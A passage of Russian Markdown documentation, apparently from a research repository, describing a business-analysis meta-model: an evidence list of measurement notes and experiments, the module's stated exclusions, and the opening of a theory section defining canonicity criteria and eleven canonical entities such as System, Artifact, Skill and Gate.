\u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a75 |\\n| \u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445, \u0431\u0435\u0437 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 | [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587) |\\n| \u0422\u0440\u0438 \u0444\u043e\u0440\u043c\u044b BCREQ: \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430, \u0434\u043e\u0433\u043e\u0432\u043e\u0440 | [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md) \u00a71, \u043f\u0440\u0430\u0432\u0438\u043b\u043e 5 |\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md)\\n  \u2014 \u0434\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u0432\u0445\u043e\u0434\u043e\u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`: \u0440\u0435\u0436\u0438\u043c\u044b,\\n  \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432,\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u043c\\n  \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0439 \u0430\u0443\u0434\u0438\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0431\u043b\u043e\u043a\u043e\u0432 \u043c\u043e\u0434\u0443\u043b\u044f; \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435\\n  ADR-014.\\n- [`exp/ba-meta-model-563/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-563)\\n  \u2014 \u0434\u0432\u0430 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044f, \u0441\u044b\u0440\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438 \u043b\u043e\u0433\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n- [`2026-09-08-artifact-structure-variance-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md)\\n  \u2014 \u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (issue #561), \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043b\u043e\u044f\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n- [`exp/ba-meta-model-cross-check-587/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/research/ba-requirements/exp/ba-meta-model-cross-check-587)\\n  \u2014 \u0442\u0440\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0437\u0430\u043c\u0435\u0440\u0430 \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043a\u0435\u043b\u0435\u0442\u0430 \u043d\u0430\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 (`M-1 = 0.0`), \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043d\u0430 \u0441\u044b\u0440\u044b\u0445 \u0432\u0445\u043e\u0434\u0430\u0445\\n  \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0441 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u043c.\\n- [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md)\\n  \u2014 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u044f 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043a\u0430\u0440\u0442\u044b \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n## \u0427\u0435\u0433\u043e \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043d\u0435\u0442\\n\\n- **\u041d\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430.** \u041c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0434\u0430\u0451\u0442 \u0441\u043e\u0441\u0442\u0430\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b Execution\\n  Package, \u043d\u043e \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0435\u0433\u043e \u0444\u0430\u0439\u043b\u044b: \u0438\u0445 \u0434\u043e\u043c \u2014 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0430\u044f \u0441\u0440\u0435\u0434\u0430, \u0430 \u043d\u0435\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043c\u043e\u0434\u0443\u043b\u044c Source\\n  ([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md), \u00a72).\\n- **\u041d\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439 `M0`\u2013`M4` \u0438 \u043e\u0431\u0435\u0438\u0445 \u043e\u0441\u0435\u0439.** \u0420\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f\\n  \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n  ([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a75)\\n  \u0438 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u044b \u0432 \u0431\u044d\u043a\u043b\u043e\u0433, \u0430 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432.\\n- **\u041d\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430.** \u0414\u043e\u043c\u0435\u043d\u044b, capability \u0438 features \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n  \u0441\u043f\u043e\u043a\u0435; Source \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0443\u0440\u043e\u0432\u043d\u0435\u0439.\\n- **\u041d\u0435\u0442 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043d\u043e\u0440\u043c\u044b.** \u041c\u043e\u0434\u0443\u043b\u044c \u2014 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432 \u043d\u043e\u0440\u043c\u0443 \u0438\u0434\u0451\u0442\\n  \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438 `B-146`\u2026`B-152` \u0438 `B-155`\u2026`B-161`.\\n- **\u041d\u0435\u0442 \u0437\u0430\u044f\u0432\u043a\u0438 \u043d\u0430 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c.** \u041c\u043e\u0434\u0443\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432\\n  \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 GigaCode. \u041f\u0435\u0440\u0435\u043d\u043e\u0441 \u0434\u043e\u043c\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0432 `projects/` \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435\\n  \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0437\u0430\u0434\u0430\u0447\u0438 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b `B-155` \u0438 `B-156`, \u0430 \u043d\u0435\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\\n# \u0422\u0435\u043e\u0440\u0438\u044f: \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\\n\\n## 1. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u043e\u0441\u0442\u0438\\n\\n\u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0435\u0441\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n| \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 | \u041f\u043e\u0447\u0435\u043c\u0443 |\\n| --- | --- | --- |\\n| `K-1` \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0430\u044f \u0441\u0438\u043b\u0430 | \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u0434\u0432\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b\u043c\u0438. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0441\u0438\u043d\u043e\u043d\u0438\u043c. |\\n| `K-2` \u041d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c | \u042d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u0438\u043b\u0438 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0449\u0435\u0439 \u0441\u0440\u0435\u0434\u0435. | \u0418\u043d\u0430\u0447\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u2014 \u0440\u0430\u043c\u043a\u0430 \u0431\u0435\u0437 \u0440\u0435\u0444\u0435\u0440\u0435\u043d\u0442\u0430. |\\n| `K-3` \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438 | \u0423 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e \u0438\u043c\u044f \u0432\u043e \u0432\u0441\u0435\u0439 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u044b \u0435\u0451 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438. | \u0422\u0440\u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0432 \u0442\u0440\u0451\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u2014 \u043f\u0440\u044f\u043c\u043e\u0435 \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f `K-3`. |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u043d\u0438\u0436\u0435 \u043d\u0435 \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u00ab\u0434\u043b\u044f \u043f\u043e\u043b\u043d\u043e\u0442\u044b\u00bb: \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0435\u0437 \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c.\\n\\n## 2. \u041e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f 0.2 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u0432\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043a \u0434\u0435\u0432\u044f\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c \u0432\u0435\u0440\u0441\u0438\u0438 0.1 \u0438 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442\\n`Skill` \u0438\u0437 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0432 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c. \u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\\n\u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`\u2013`K-3` \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043e \u043d\u0438\u0436\u0435.\\n\\n| \u0421\u0443\u0449\u043d\u043e\u0441\u0442\u044c | \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 (`K-1`) | \u041a\u043b\u044e\u0447 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 |\\n| --- | --- | --- |\\n| `Product` | \u041e \u043a\u0430\u043a\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` |\\n| `System` | **\u0427\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f?** | \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438\u043b\u0438 \u0435\u0451 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430 |\\n| `Artifact` | \u0427\u0442\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u043e\u043c \u0438 \u0447\u0442\u043e \u0432\u044b\u0445\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b? | \u043a\u043b\u0430\u0441\u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Operation` | \u041a\u0430\u043a\u043e\u0439 **\u0442\u0438\u043f** \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f? | \u0438\u043c\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Skill` | **\u041a\u0430\u043a\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u043e\u0435 \u0446\u0435\u043b\u043e\u0435 \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c?** | \u0438\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Process` | \u041a\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0432\u044b\u0445\u043e\u0434 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u0438\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f? | \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0441\u043b\u043e\u0432\u0430\u0440\u044f |\\n| `Route` | \u041a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d \u0438 \u043a\u0430\u043a\u043e\u0439 \u043f\u0443\u0442\u044c \u043f\u0440\u043e\u0439\u0434\u0435\u043d? | \u0433\u0440\u0430\u0444 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 + \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n| `Actor` | \u041a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433 \u0438\u043b\u0438 \u0447\u044c\u044e \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435? | \u0440\u043e\u043b\u044c |\\n| `Gate` | \u0412 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442? | \u0442\u043e\u0447\u043a\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 + \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c |\\n| `Contract` | \u041a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0447\u0442\u043e\u0431\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c? | \u0438\u043c\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 + \u0432\u0435\u0440\u0441\u0438\u044f |\\n| `Trace` | \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0432\u0445\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0443, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434? | \u0440\u0435\u0431\u0440\u043e \u0433\u0440\u0430\u0444\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f |\\n\\n### 2.1 `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\\n`System` \u2014 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f: \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439\\n\u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441. \u041e\u043d\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 `K-1`: \u0431\u0435\u0437 \u043d\u0435\u0451\\n\u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u043c\u044b \u00ab\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u0442 \u043a\u043d\u043e\u043f\u043a\u0443\u00bb \u0438 \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435\u00bb \u2014\\n\u0434\u0432\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438\\n\u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043b\u0438\u0446\u0430.\\n\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u043e | \u0424\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 |\\n| --- | --- |\\n| `SY-1` | `System` \u2014 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0448\u0430\u0433\u0430. \u041e\u043d\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044f `Actor` \u0448\u0430\u0433\u0430 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. |\\n| `SY-2` | \u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442 \u0441\u0443\u0431\u044a\u0435\u043a\u0442\u043e\u043c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f `System`, \u0430 